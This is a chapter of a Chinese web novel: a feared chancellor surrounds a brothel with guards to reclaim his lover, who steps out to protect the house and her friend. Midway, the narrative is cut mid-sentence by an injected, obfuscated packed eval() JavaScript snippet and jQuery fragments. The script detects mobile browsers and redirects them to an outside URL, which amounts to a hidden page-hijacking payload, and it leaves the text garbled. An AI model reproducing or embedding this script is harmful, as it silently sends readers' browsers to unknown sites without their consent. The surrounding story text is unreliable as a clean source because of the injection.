小丫头对翠姑娘道:“春妈妈正在外边儿跟他周旋着呢,姑娘,您快出来看看吧!”
——
季云升正极力忍着心下的躁郁,耐着性子听面前的老鸨说话。
老鸨见他生得俊俏矜贵,心知这必是富贵人家的公子,一般最在乎名声和面子,心思百转间便笑呵呵打着太极道:“公子啊,您是天人之姿,看不上我们楼里的姑娘也正常,不过你此番作为实在是伤了我们眠月楼姑娘们的心。”
“眠月楼一向最懂规矩,这儿的姑娘们都知道什么该说,什么不该说,不过此处毕竟人多眼杂,更何况公子此番闹走了许多我眠月楼的客人,想必不出一个时辰,便会有人将公子的身份家世查个清楚。”
“想来若此事传出,对公子的家族声誉怕是影响不好。”
老鸨得意极了,明里暗里都在要封口费。
然而那俊俏公子瞟了她一眼,虽是勾着唇散漫地笑着,黑沉沉的瞳仁看着却无端瘆人。
老鸨眼皮重重一跳,突然升起一种莫大的恐慌。
果然这种恐惧下一瞬就被验证了。
这公子轻轻抬了抬手,便有身穿甲胄手持刀剑的侍卫各自分散开,将楼里围了个彻底。
老鸨瞬间面露惊惧,瘫软在了地上。
这贵气公子却漫不经心地踱着步,走到金丝软椅边闲适落座,自然而然得好像在逛自家后花园。
还抽空给自己倒了杯热茶,慢条斯理地喝着。
“我此番出行是为私事,并不想以权压人。”
似是茶饮不合他的胃口,季云升只浅尝了一口便放下,而后懒洋洋坐在那里拨弄着白玉骨折扇上的穗儿,眼皮都懒得抬一下。
“若是以家族声誉来做要挟那大可不必,季家上下都是我说了算。本就想找个借口取缔了京城里的青楼赌坊,你们倒是自己撞上门来。”
老鸨膝下瘫软,跪在地上两股战战,无比后悔自己刚刚的行为。
季家,受着百年王权庇护,家大业大的季家!
那面前这位就是当今权倾朝野的右丞!出了名的玉面阎罗!他可是个说一不二,杀人不眨眼的主!跟她们平常见到的那些温室里长大,脾性不是温和有礼便是纨绔浪荡的世家公子们不一样!
他是掌权之人!是真的会要她们的命!
老鸨此刻后悔得想扇自己嘴巴,然而却被季云升气势所迫,跪在地上头都不敢抬。
“我再说一遍,把你们眠月楼的所有女人都叫出来。我可是对其中一位一见钟情一眼难忘,见不到她就抓心挠肺思之如狂呐。”他轻慢地笑着,眸间却闪烁着阴郁,随手从下属捧着的箱子中取出个价值连城的宝物,丢垃圾一样扔在老鸨面前。
“要钱财是吗?拿去好了,我说话还算数,找到人了这些都归你们,”他折扇上的穗儿轻摇着,似是想到了什么,唇边的笑意越发扩大,显得昳丽无比却又无端恐怖:“找不到的话,便以恶意行骗欺瞒定你们的罪,这风月场所知道王子皇孙的密辛可不少呢,相信入了大狱,会有很多人想着要跟你们好好‘交流’一番呢。”
他一身亮色的赤袍,上面以金线滚边,宽大的下摆下足蹬一双云纹黑靴,正散漫地翘起。发用木簪随意束着,肤色极白,红唇却潋滟,笑起来更是美得惊人。
但在场的人无一不感到寒意渗骨。
莺莺燕燕们抱在一起哭作一团,却在被侍卫拿刀一横威胁后,连哭声都发不出来,只无声地掩面垂泪。
这时有下属来向季云升汇报,说没有找到人。
季云升唇边笑意越发扩大,周围的空气却越发凝滞窒息了。
他一连道三声好,温温吞吞地道:“你们迫着我的小雀儿来这等腌臜之地,给了数次机会竟还是不知悔改。既如此,便拆了这眠月楼吧,左右也没什么存在的必要,不过是劳民伤财引人堕落之流,就当给其他的秦楼楚馆杀鸡儆猴了。”
下属们连一丝迟疑都没有,刚得了命令就立刻举起武器打算动手拆除。
“慢着!”
突然从里间传来清脆悦耳如黄鹂般的声音。
来人穿着一双屐,在楼梯上疾步时发出“嗒嗒嗒”的响声,似是相当着急。
季云升甫一听到这个声音,把玩儿穗子的手便停顿住了,随后面上习惯性地扬起一抹颇为宠溺温柔的笑容。
他站起来,十分自然地张开了双臂,嗓音温柔似诱哄。
“小雀儿,来,到我这里来。”
唐如漪方才一直在楼上的里屋坐立难安。
就如季云升听到声音便知道是她一样,她也同样对季云升的声音无比熟悉。
她已经完全可以肯定方才在楼上阳台时,季云升看到她了。
她也无比清楚地知道,以季云升的性格,今天如果没找出她来,眠月楼恐怕要遭殃。
躲是没有用的。
翠姑娘是她的第一个朋友,她不能连累她。
“现在外面还在找人,你怕是一时半会儿不能出去。不过按我的经验来说,他们过不了多久就会走了,你放心待在这暗阁里一会儿就好。”翠姑娘一边小心观察着外面的情况,一边出言安慰着,谁知道就是把门窗都关上的这一会儿功夫,唐如漪就已经换了一身行头。
她面上围着块儿面纱,换了楼里姑娘的干净服饰,急匆匆便要往外走。
“如漪!如漪你干嘛去!你现在下去会被那人看见的!”
翠姑娘拦不住她,只得在唐如漪后面跟着,一块儿随她下去。
“不用担心我!”
唐如漪一边说着,一边踩着木屐往下走,才刚刚到了楼下便听到季云升那句要拆了这里的命令。
慌不择路间便脱口而出一声“慢着”。
季云升示意下属们停了手,而后张开双臂,笑意吟吟地等着金丝雀飞扑到自己怀里。
她必然是吓坏了。
她那么胆小,又被人骗来了青楼,肯定害怕得不行。
多亏了他今晚心有灵犀般回头看了一眼,否则,否则……
季云升不敢想这样的后果。
仅是想想,就想把这座楼里的所有人全拖出去施以极刑。
常年跟季云升待在一起的唐如漪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218180|197451||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
丝毫没有察觉,在她出现的那一瞬间,周围紧绷的气氛骤然松懈下来,连身后跟着她出来的翠姑娘都悄无声息松了一口气。
季云升等待着人投怀送抱,谁料到往常看见他就像个小狗一样摇尾巴的人却突然警觉地顿住了脚步,眼神颇有些戒备地看着他。
仔细看去,季云升才发现原来她在护那些身后的青楼妓女们。
他险些笑出声。
随后便是眸色沉沉,语调温柔得吓人:“小雀儿想必是吓到了,可有什么大碍?快过来让我看看。”
唐如漪用手势示意着身后的嬷嬷姑娘们先走。
然而在季云升看来,就是她非但不过来,反而还又后退了几步。
漂亮的黑瞳眯起,比起恼怒,更多的却是疑惑。他已唤了她两次,还在人面前暴露了他们之间的关系,按照往常,唐如漪早就像个小鸟一样高高兴兴扑到他怀里,撒娇着说想要让世人都知道他们两情相悦。
她应该欣喜若狂才对。
然而一向乖顺的小雀儿却十分戒备地看着他,护着身后绿裙女子的模样像极了护崽的母鸡。
“你先答应我不要对眠月楼动手。”
“……”
季云升没有丝毫恼意,他只觉得稀奇。
“小雀儿,你是被她们洗脑到什么地步了?”
唐如漪肃着脸:“你先答应我。”
“好。”季云升笑眯眯道,随后便让下属们全部撤出。
刚一直担心着她被绑来这眠月楼受了什么罪,这时候他才突然注意到面前少女的穿着。
戴着个湖蓝的面纱,脸庞在下面若隐若现,只露出一双大而明亮的眼睛,没遮住什么容貌,倒是更勾得人心痒。
而那身衣服更是……伤风败俗极了。
着一袭浅蓝色长裙,匀称如玉的胳膊在薄纱下自然伸展着,腰侧两边都是挖空,连心口上方都空出个水滴形,露出细如羊脂般的洁白肌肤。
一看就不是她平时的装束。
季云升只觉得浑身有火在烧似的。
他眸色暗沉,哑着嗓子道:“这位,也是楼里的姑娘?倒是眼生得很哪。”
明显是跟这里的老板翠姑娘说的,翠姑娘一脸的冷肃,正要开口回绝,却感到袖口被轻轻拉了一下。
唐如漪硬着头皮道:“对,我是眠月楼新来的。听说你要点人?不如选我好了。”
悦耳低哑的笑声自男人喉间传出。
唐如漪向来很难分辨他的情绪到底是什么,因此她绷着脸,以不变应万变。
左右先保住眠月楼再说。
翠姑娘是她唯一的朋友,她不能害她没了营生。
守护的愿望太过强烈,竟让她一时忘记了自己对季云升那深沉的爱。
想着翠姑娘告诉她的那些话,唐如漪抬着小脸很认真道:
“我好好伺候你,你能不能放过眠月楼呀?”
翠姑娘说,男人在榻上什么都会答应的。
语气轻柔,带着些不安。
季云升一向泰然自若的俊美脸庞终于出现了一丝裂痕。